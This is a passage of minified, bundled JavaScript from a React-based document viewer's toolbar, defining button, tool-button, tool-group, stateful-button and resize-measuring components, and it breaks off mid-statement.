gf=function(e){null==e||e.stopPropagation(),null==e||e.preventDefault()},vf={isActive:Is.a.bool,mediaQueryClassName:Is.a.string,img:Is.a.string,label:Is.a.oneOfType([Is.a.string,Is.a.number]),title:Is.a.string,color:Is.a.string,dataElement:Is.a.string,className:Is.a.string,onClick:Is.a.func,onDoubleClick:Is.a.func,onMouseUp:Is.a.func,isSubmitType:Is.a.bool,ariaLabel:Is.a.string,role:Is.a.string,hideTooltipShortcut:Is.a.bool,useI18String:Is.a.bool},yf=function(e){var t,n=hf(le((function(t){return[fi.isElementDisabled(t,e.dataElement),fi.getCustomElementOverrides(t,e.dataElement)]}),N),2),r=n[0],o=n[1],i=void 0===o?{}:o,a=df(df({},e),i),l=a.disable,u=a.disabled,c=a.isActive,f=a.mediaQueryClassName,d=a.img,p=a.tabIndex,h=a.label,m=a.useI18String,g=void 0===m||m,v=a.color,y=a.dataElement,b=a.onClick,w=a.onDoubleClick,E=a.onMouseUp,S=a.className,C=a.title,x=a.style,O=a.ariaLabel,A=a.role,_=a.strokeColor,T=a.fillColor,k=a.hideTooltipShortcut,P=a.iconClassName,M=a.forceTooltipPosition,R=a.isSubmitType,j=a.hideOnClick,L=hf(Ks(),1)[0],I=O||(C?L(C):void 0),D=C?C.slice(C.indexOf(".")+1):void 0,F=D?function(e){var t=Hc[e];if(t)return Lt&&(t=t.replace("Control","Meta")),t}(D):void 0,B=null==d?void 0:d.trim().startsWith("data:"),H=d,V=l||u,z=d&&!B&&(!d.includes(".")||d.startsWith("<svg")),U=!!C,G=s.a.createElement("button",{className:js()((t={Button:!0,active:c&&!V,disabled:V},pf(t,f,f),pf(t,S,S),t)),style:x,"data-element":y,onClick:V?gf:b,onDoubleClick:V?gf:w,onMouseUp:V?gf:E,"aria-label":I,role:A,tabIndex:p,"aria-keyshortcuts":F,type:R?"submit":"button",disabled:V},z&&s.a.createElement(cf,{disabled:V,glyph:H,color:v,fillColor:T,strokeColor:_,className:P}),H&&!z&&s.a.createElement("img",{src:H}),h&&(g?s.a.createElement("span",null,L(h)):s.a.createElement("span",null,h)));return r?null:U?s.a.createElement(ef,{content:C,hideShortcut:k||V,forcePosition:M,hideOnClick:j},G):G};yf.propTypes=vf;var bf=s.a.memo(yf),wf=function(e){var t;return((null==e||null===(t=e.toHexString)||void 0===t?void 0:t.call(e))||"").substring(1)},Ef=(n(269),["toolName","className"]),Sf=["group"];function Cf(){return(Cf=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function xf(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Of(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Of(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Of(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Af(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var _f={toolName:Is.a.string.isRequired,group:Is.a.string,className:Is.a.string},Tf=function(e){var t=e.toolName,n=e.className,r=Af(e,Ef),o=xf(le((function(e){return[fi.getActiveToolName(e),fi.getActiveToolName(e)===t,fi.getIconColor(e,ic(t)),fi.getActiveToolStyles(e),fi.getToolButtonObject(e,t),fi.getCustomElementOverrides(e,fi.getToolButtonDataElement(e,t))]}),N),6),i=(o[0],o[1]),a=o[2],u=(o[3],o[4]),c=o[5],f=re(),d=u.group,p=void 0===d?"":d,h=Af(u,Sf);Object(l.useEffect)((function(){void 0!==(null==c?void 0:c.disable)&&(c.disable?qc.off(t):qc.on(t))}),[c,t]);var m,g,v,y="",b="",w="",E=(null==c?void 0:c.showColor)||u.showColor;if("always"===E||"active"===E&&i){var S,C,x=Pc(t);y=null==x||null===(S=x[a])||void 0===S||null===(C=S.toHexString)||void 0===C?void 0:C.call(S),b=wf(null==x?void 0:x.FillColor),w=wf(null==x?void 0:x.StrokeColor),t.indexOf("AnnotationCreateFreeText")>-1&&0===(null==x?void 0:x.StrokeThickness)&&(w="ff000000")}return s.a.createElement(bf,Cf({className:js()((m={"tool-button":!0,hasStyles:Cu(t)},g=n,v=n,g in m?Object.defineProperty(m,g,{value:v,enumerable:!0,configurable:!0,writable:!0}):m[g]=v,m)),onClick:function(){i?"AnnotationCreateStamp"!==t&&"AnnotationCreateRedaction"!==t&&"AnnotationEraserTool"!==t&&Cu(t)&&(f(Ps.toggleElement("toolStylePopup")),"AnnotationCreateRubberStamp"===t&&vt.setToolMode(Qa)):("miscTools"===p&&f(Ps.closeElement("toolStylePopup")),vt.setToolMode(t),f(Ps.setActiveToolGroup(p)),f(Ps.setLastPickedToolForGroup(p,t)),"AnnotationCreateRubberStamp"===t&&f(Ps.openElement("toolStylePopup")))},isActive:i,color:y,fillColor:b,strokeColor:w},r,h))};Tf.propTypes=_f;var kf=Tf;function Pf(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Mf(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Mf(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Mf(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Rf=function(e,t,n){var r=e.map((function(e){return window.matchMedia("screen and ".concat(e))})),o=function(e){e&&window.innerWidth;var o=r.findIndex((function(e){return e.matches}));return void 0!==t[o]?t[o]:n},i=Pf(Object(l.useState)((function(){return o(!0)})),2),a=i[0],s=i[1];return Object(l.useEffect)((function(){var e=function(){return s((function(){return o()}))};return r.forEach((function(t){return t.addListener(e)})),function(){return r.forEach((function(t){return t.removeListener(e)}))}}),[]),a},jf=["onClick","dataElement","isElementDisabled","isActive","ariaLabel"];function Lf(){return(Lf=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function If(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var Nf=Q((function(e,t){var n=fi.isElementOpen(e,t.element);return{isElementDisabled:fi.isElementDisabled(e,t.dataElement),isActive:n}}),(function(e,t){return{onClick:function(){e(Ps.toggleElement(t.element))}}}))((function(e){var t=e.onClick,n=e.dataElement,r=e.isElementDisabled,o=e.isActive,i=e.ariaLabel,a=If(e,jf);return r?null:s.a.createElement(bf,Lf({},a,{isActive:o,dataElement:n,onClick:t,ariaLabel:i}))})),Df=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1);return s.a.createElement(Nf,Lf({},e,{isMobile:t}))},Ff=["type","children","dataElement"];function Bf(){return(Bf=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Hf(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var Vf={children:Is.a.node,dataElement:Is.a.string,type:Is.a.string};var zf=s.a.forwardRef((function(e,t){var n=e.type,r=void 0===n?"div":n,o=e.children,i=e.dataElement,a=Hf(e,Ff);return function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];try{return le(e)}catch(e){e.message}return t}((function(e){return fi.isElementDisabled(e,i)}))?null:"button"===r?s.a.createElement("button",Bf({ref:t,"data-element":i},a),o):s.a.createElement("div",Bf({ref:t,"data-element":i},a),o)}));zf.propTypes=Vf;var Uf=zf;n(932);function Gf(e){return(Gf="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Wf(){return(Wf=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function qf(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Zf(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Yf(e,t){return(Yf=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function $f(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Qf(e);if(t){var o=Qf(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Kf(this,n)}}function Kf(e,t){if(t&&("object"===Gf(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return Xf(e)}function Xf(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Qf(e){return(Qf=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Jf(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ed=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Yf(e,t)}(i,e);var t,n,r,o=$f(i);function i(){var e;qf(this,i);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return Jf(Xf(e=o.call.apply(o,[this].concat(n))),"onClick",(function(){var t=e.props,n=t.setActiveToolGroup,r=t.isActive,o=t.closeElement,i=t.openElement,a=t.toolGroup,l=t.toolNames,s=t.lastPickedToolForGroup;r?(o("toolStylePopup"),vt.setToolMode(Qa),n("")):(o("toolStylePopup"),"signatureTools"===a||"rubberStampTools"===a?vt.setToolMode(Qa):vt.setToolMode(s||l[0]),n(a),i("toolsOverlay"))})),e}return t=i,(n=[{key:"render",value:function(){var e,t=this.props,n=t.toolNames,r=t.lastPickedToolForGroup,o=t.isActive,i=t.mediaQueryClassName,a=t.dataElement,l=t.toolButtonObjects,u=t.allButtonsInGroupDisabled,c=t.iconColorKey,f=t.showColor,d=t.title,p=r||n[0],h=this.props.img?this.props.img:null===(e=l[p])||void 0===e?void 0:e.img,m="",g="",v="";if("never"!==f&&o){var y,b,w=Pc(p);c&&(m=null===(y=w[c])||void 0===y||null===(b=y.toHexString)||void 0===b?void 0:b.call(y)),g=wf(w.FillColor),v=wf(w.StrokeColor),p.indexOf("AnnotationCreateFreeText")>-1&&0===(null==w?void 0:w.StrokeThickness)&&(v="ff000000")}return p.indexOf("AnnotationCreateRedaction")>-1&&!o&&(g="868E96"),u?null:s.a.createElement(Uf,{className:js()({"tool-group-button":!0,active:o}),dataElement:a},s.a.createElement(bf,{title:d,mediaQueryClassName:i,isActive:o,img:h,color:m,fillColor:g,strokeColor:v,dataElement:a,onClick:this.onClick}))}}])&&Zf(t.prototype,n),r&&Zf(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);Jf(ed,"propTypes",{activeToolName:Is.a.string.isRequired,toolGroup:Is.a.string.isRequired,mediaQueryClassName:Is.a.string.isRequired,dataElement:Is.a.string.isRequired,img:Is.a.string,title:Is.a.string,toolNames:Is.a.arrayOf(Is.a.string),toolButtonObjects:Is.a.object,lastPickedToolForGroup:Is.a.string,allButtonsInGroupDisabled:Is.a.bool,openElement:Is.a.func.isRequired,toggleElement:Is.a.func.isRequired,closeElement:Is.a.func.isRequired,setActiveToolGroup:Is.a.func.isRequired,isActive:Is.a.bool.isRequired,showColor:Is.a.string,iconColorKey:Is.a.string});var td=Q((function(e,t){return{lastPickedToolForGroup:fi.getLastPickedToolForGroup(e,t.toolGroup),savedSignatures:fi.getSavedSignatures(e),isActive:fi.getActiveToolGroup(e)===t.toolGroup,activeToolName:fi.getActiveToolName(e),toolNames:fi.getToolNamesByGroup(e,t.toolGroup),toolButtonObjects:fi.getToolButtonObjects(e),allButtonsInGroupDisabled:fi.allButtonsInGroupDisabled(e,t.toolGroup),iconColorKey:fi.getIconColor(e,ic(fi.getActiveToolName(e)))}}),{openElement:Ps.openElement,toggleElement:Ps.toggleElement,closeElement:Ps.closeElement,setActiveToolGroup:Ps.setActiveToolGroup})(ed),nd=function(e){var t=Rf(["(max-width: 900px)"],[!0],!1);return s.a.createElement(td,Wf({},e,{isTabletAndMobile:t}))};var rd=Q((function(e,t){var n,r,o,i=t.isNotClickableSelector,a=t.className;return{className:js()((n={ActionButton:!0},r=a,o=!!a,r in n?Object.defineProperty(n,r,{value:o,enumerable:!0,configurable:!0,writable:!0}):n[r]=o,n)),disabled:i&&i(e)}}),(function(e,t){return{onClick:function(){t.onClick(e)}}}))(bf);function od(e){return(od="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function id(){return(id=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function ad(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ld(e,t){return(ld=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function sd(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=fd(e);if(t){var o=fd(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return ud(this,n)}}function ud(e,t){if(t&&("object"===od(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return cd(e)}function cd(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function fd(e){return(fd=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function dd(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var pd=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&ld(e,t)}(i,e);var t,n,r,o=sd(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),dd(cd(t=o.call(this,e)),"update",(function(e){e?t.setState({activeState:e}):t.forceUpdate()})),dd(cd(t),"onClick",(function(){var e=t.state.activeState,n=t.props,r=n.states,o=n.dispatch;t.props.states[e].onClick(t.update,r[e],o)})),t.state={activeState:t.props.initialState},t}return t=i,(n=[{key:"componentDidMount",value:function(){var e=this.props.mount;e&&e(this.update)}},{key:"componentDidUpdate",value:function(e,t){var n=this.props,r=n.didUpdate,o=n.states;r&&r(e,this.props,o[t.activeState],o[this.state.activeState],this.update)}},{key:"componentWillUnmount",value:function(){var e=this.props.unmount;e&&e()}},{key:"render",value:function(){var e=this.state.activeState,t=this.props.states,n=t[e],r=n.title,o=n.img,i=n.getContent,a=n.isActive,l=i?i(t[e]):"",u=["StatefulButton",t[e].className?t[e].className:""].join(" ").trim();return s.a.createElement(bf,id({},this.props,{className:u,isActive:a&&a(this.props),img:o,label:l,onClick:this.onClick,title:r}))}}])&&ad(t.prototype,n),r&&ad(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);dd(pd,"propTypes",{dispatch:Is.a.func,initialState:Is.a.string.isRequired,mount:Is.a.func.isRequired,unmount:Is.a.func,didUpdate:Is.a.func,states:Is.a.shape({activeState:Is.a.shape({img:Is.a.string,label:Is.a.string,onClick:Is.a.func.isRequired,title:Is.a.string.isRequired,getContent:Is.a.func.isRequired}),AnotherState:Is.a.shape({img:Is.a.string,label:Is.a.string,onClick:Is.a.func.isRequired,title:Is.a.string.isRequired,getContent:Is.a.func.isRequired})})});var hd=Q((function(e,t){return{isOpen:fi.isElementOpen(e,t.dataElement),openElements:fi.getOpenElements(e)}}))(pd);n(933);function md(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function gd(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return vd(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return vd(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function vd(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var yd={className:Is.a.string,dataElement:Is.a.string,display:Is.a.string,render:Is.a.func.isRequired,mediaQueryClassName:Is.a.string,title:Is.a.string},bd=function(e){var t,n=e.className,r=void 0===n?"CustomElement":n,o=e.dataElement,i=e.display,a=e.render,u=e.mediaQueryClassName,c=e.title,f=gd(Object(l.useState)(null),2),d=f[0],p=f[1],h=Object(l.useRef)(),m=Object(l.useRef)(),g=le((function(e){return fi.isElementDisabled(e,o)}));if(Object(l.useEffect)((function(){if(!g){var e=a();if(function(e){try{return e instanceof window.Element||e instanceof window.parent.Element}catch(e){return!1}}(e)){for(var t=m.current?m.current:h.current;t.firstChild;)t.removeChild(t.firstChild);t.appendChild(e)}else!function(e){return s.a.isValidElement(e)}(e)?console.warn("The object returned by the render function does not seem to be either a DOM element or a React Component"):p(e)}}),[g,a]),g)return null;var v=s.a.createElement("div",{className:js()((t={},md(t,r,!!r),md(t,u,!!u),t)),ref:h,"data-element":o,style:{display:i}},d);return c?s.a.createElement(ef,{content:c,ref:m},v):v};bd.propTypes=yd;var wd=bd;function Ed(e,t){e.prototype=Object.create(t.prototype),e.prototype.constructor=e,Pe(e,t)}var Sd=n(311),Cd=["client","offset","scroll","bounds","margin"];function xd(e){var t=[];return Cd.forEach((function(n){e[n]&&t.push(n)})),t}function Od(e,t){var n={};if(t.indexOf("client")>-1&&(n.client={top:e.clientTop,left:e.clientLeft,width:e.clientWidth,height:e.clientHeight}),t.indexOf("offset")>-1&&(n.offset={top:e.offsetTop,left:e.offsetLeft,width:e.offsetWidth,height:e.offsetHeight}),t.indexOf("scroll")>-1&&(n.scroll={top:e.scrollTop,left:e.scrollLeft,width:e.scrollWidth,height:e.scrollHeight}),t.indexOf("bounds")>-1){var r=e.getBoundingClientRect();n.bounds={top:r.top,right:r.right,bottom:r.bottom,left:r.left,width:r.width,height:r.height}}if(t.indexOf("margin")>-1){var o=getComputedStyle(e);n.margin={top:o?parseInt(o.marginTop):0,right:o?parseInt(o.marginRight):0,bottom:o?parseInt(o.marginBottom):0,left:o?parseInt(o.marginLeft):0}}return n}function Ad(e){return e&&e.ownerDocument&&e.ownerDocument.defaultView||window}function _d(e){return function(t){var n,r;return r=n=function(n){function r(){for(var t,r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return(t=n.call.apply(n,[this].concat(o))||this).state={contentRect:{entry:{},client:{},offset:{},scroll:{},bounds:{},margin:{}}},t._animationFrameID=null,t._resizeObserver=null,t._node=null,t._window=null,t.measure=function(n){var r=Od(t._node,e||xd(t.props));n&&(r.entry=n[0].contentRect),t._animationFrameID=t._window.requestAnimationFrame((function(){null!==t._resizeObserver&&(t.setState({contentRect:r}),"function"==typeof t.props.onResize&&t.props.onResize(r))}))},t._handleRef=function(e){null!==t._resizeObserver&&null!==t._node&&t._resizeObserver.unobserve(t._node),t._node=e,t._window=Ad(t._node);var n=t.props.innerRef;n&&("function"==typeof n?n(t._node):n.current=t._node),null!==t._resizeObserver&&null!==t._node&&t._resizeObserver.observe(t._node)},t}Ed(r,n);var o=r.prototype;return o.componentDidMount=function(){this._resizeObserver=null!==this._window&&this._window.ResizeObserver?new this._window.ResizeObserver(this.measure):new Sd.a(this.measure),null!==this._node&&(this._resizeObserver.observe(this._node),"function"==typeof this.props.onResize&&this.props.onResize(Od(this._node,e||xd(this.props))))},o.componentWillUnmount=function(){null!==this._window&&this._window.cancelAnimationFrame(this._animationFrameID),null!==this._resizeObserver&&(this._resizeObserver.disconnect(),this._resizeObserver=null)},o.render=function(){var e=this.props,n=(e.innerRef,e.onResize,w(e,["innerRef","onResize"]));return Object(l.createElement)(t,b({},n,{measureRef:this._handleRef,measure:this.measure,contentRect:this.state.contentRect}))},r}(l.Component),n.propTypes={client:Is.a.bool,offset:Is.a.bool,scroll:Is.a.bool,bounds:Is.a.bool,margin:Is.a.bool,innerRef:Is.a.oneOfType([Is.a.object,Is.a.func]),onResize:Is.a.func},r}}var Td=_d()((function(e){var t=e.measure,n=e.measureRef,r=e.contentRect;return(0,e.children)({measure:t,measureRef:n,contentRect:r})}));Td.displayName="Measure",Td.propTypes.children=Is.a.func;var kd=Td;function Pd(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Md(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Md(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Md(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Rd=function(e){var t=e.children,n=Pd(Ks(),1)[0],r=Object(l.useRef)(),o=Pd(Object(l.useState)(!1),2),i=o[0],a=o[1],u=Pd(Object(l.useState)(!1),2),c=u[0],f=u[1],d=function(){if(r.current){var e=r.current,t=e.scrollWidth,n=e.scrollLeft,o=e.offsetWidth;a(n>=t-o),f(0===n)}};return Object(l.useEffect)((function(){d()})),s.a.createElement(kd,{onResize:function(){d()}},(function(e){var o=e.measureRef;return s.a.createElement("div",{ref:o,className:"tool-group-buttons-container"},!c&&s.a.createElement("div",{className:js()("chevron-scroll","left")},s.a.createElement("div",{className:js()("scroll-edge","left")}),s.a.createElement("button",{className:js()("tool-group-button"),onClick:function(){r.current.scrollTop=0,r.current.scrollLeft=r.current.scrollLeft-108},"aria-label":n("action.prev")},s.a.createElement(cf,{glyph:"icon-chevron-left"}))),!i&&s.a.createElement("div",{className:js()("chevron-scroll","right")},s.a.createElement("button",{className:js()("tool-group-button"),onClick:function(){r.current.scrollTop=0,r.current.scrollLeft=r.current.scrollLeft+108},"aria-label":n("action.next")},s.a.createElement(cf,{glyph:"icon-chevron-right"}))),s.a.createElement("div",{className:"tool-group-buttons-scroll",ref:r,onScroll:d},t))}))};function jd(){return(jd=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var Ld=function(e){var t=e.toolGroupButtonsItems;return s.a.createElement(Rd,null,t.map((function(e,t){var n=e.type,r=e.dataElement,o=e.hidden,i=o?o.map((function(e){return"hide-in-".concat(e)})).join(" "):"",a="".concat(n,"-").concat(r||t);return s.a.createElement(s.a.Fragment,{key:a},s.a.createElement(nd,jd({key:a,mediaQueryClassName:i},e)))})))};n(934);function Id(e){return(Id="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Nd(){return(Nd=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Dd(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Fd(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Bd(e,t){return(Bd=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Hd(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=zd(e);if(t){var o=zd(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Vd(this,n)}}function Vd(e,t){if(t&&("object"===Id(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function zd(e){return(zd=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Ud,Gd,Wd,qd=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Bd(e,t)}(i,e);var t,n,r,o=Hd(i);function i(){return Dd(this,i),o.apply(this,arguments)}return t=i,(n=[{key:"render",value:function(){var e=this.props,t=e.items,n=e.isToolGroupReorderingEnabled,r=e.isInDesktopOnlyMode,o=!1,a=t.map((function(e,a){var l=e.type,u=e.dataElement,c=e.hidden,f=(e.toolName,e.hiddenOnMobileDevice),d=c?c.map((function(e){var t="";return r?"desktop"===e&&(t="always-hide hide-in-".concat(e)):t="hide-in-".concat(e),t})).join(" 